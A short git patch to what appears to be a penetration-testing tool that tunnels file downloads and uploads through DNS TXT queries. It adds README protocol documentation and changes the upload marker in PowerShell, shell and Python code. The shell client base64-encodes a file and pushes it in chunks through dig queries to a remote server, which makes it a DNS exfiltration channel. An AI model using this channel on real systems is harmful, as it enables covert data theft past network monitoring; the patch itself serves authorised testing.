From 7c6fdb7d01525b91bde1803fce27554e5e0d7560 Mon Sep 17 00:00:00 2001
From: Simon Moser <simon.moser@syss.de>
Date: Sun, 6 Feb 2022 18:17:22 +0100
Subject: [PATCH] Documentation added

---
 README.md  | 14 +++++++++++++-
 client.ps1 |  2 +-
 client.sh  |  2 +-
 server.py  |  2 +-
 4 files changed, 16 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index ee8f37a..952656b 100644
--- a/README.md
+++ b/README.md
@@ -16,4 +16,16 @@ Then run the python server:
 
 It will only support a flat directory structure in /dir/of/tools
 
-Strongly based on [Uninvited Guest by Pen Test Partners](https://github.com/pentestpartners/Uninvited-Guest)
\ No newline at end of file
+Strongly based on [Uninvited Guest by Pen Test Partners](https://github.com/pentestpartners/Uninvited-Guest)
+
+## Documentation
+### Download
+1. TXT `$filename.count.$dnsserver` returns the number of parts the file is split into
+2. TXT `$filename.$i.$dnsserver` returns the base64-encoded file part #*$i*
+
+### Upload
+- TXT `$content.$i-$id.$dnsserver` pushes a file part to the server
+  - the whole domain MUST NOT be longer than 63 characters, split your file accordingly
+  - since only alphanumerical characters are allowed, encode your file with base64
+  - Count up *$i* so you don't get problems with caching (the server only used chronological order, so you can also use random numbers if you prefer that)
+- The (base64-encoded) file is saved at *$directory*/*$id*.b64
diff --git a/client.ps1 b/client.ps1
index 0a1d1f6..09f9ee1 100644
--- a/client.ps1
+++ b/client.ps1
@@ -30,7 +30,7 @@ Function Push-DNSFile {
     $content = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content -Path $FileName)))
     $i = 0
     While ($true) {
-        $url = ".$i-${id}u.$DnsName"
+        $url = ".$i-$id.$DnsName"
         $len = 63 - $url.Length
         $i++
         if($len -lt $content.Length) {
diff --git a/client.sh b/client.sh
index 49d18c4..c6ab2cd 100755
--- a/client.sh
+++ b/client.sh
@@ -13,7 +13,7 @@ then
 else
   i=0; d=$(base64 -w 0 < "$f"); id=$(sha256sum "$f" | cut -d" " -f1 | base64 -w 0 | cut -c1-6)
   while true; do
-    u=".$i-${id}u.$s"; ((i++)); x=$((63-${#u}))
+    u=".$i-$id.$s"; ((i++)); x=$((63-${#u}))
     if [ $x -lt ${#d} ]
     then p=${d:0:$x}; d=${d:$x}; dig +short txt "$p$u"
     else dig +short txt "$d$u"; exit 0
diff --git a/server.py b/server.py
index 1a467de..c5afb54 100755
--- a/server.py
+++ b/server.py
@@ -84,7 +84,7 @@ class FileResolver(BaseResolver):
             pname = '.'.join(parts[:-2])
             path = self.directory + "/" + pname
             command = ''.join(parts[-2:-1])
-            if command.endswith("u"):
+            if "-" in command:
                 with open(args.directory + command.split('-')[1] + ".b64", 'a') as f:
                     f.write(str(pname) + "\n")
                 reply.add_answer(RR(name, QTYPE.TXT, ttl=self.ttl, rdata=TXT("Upload accepted")))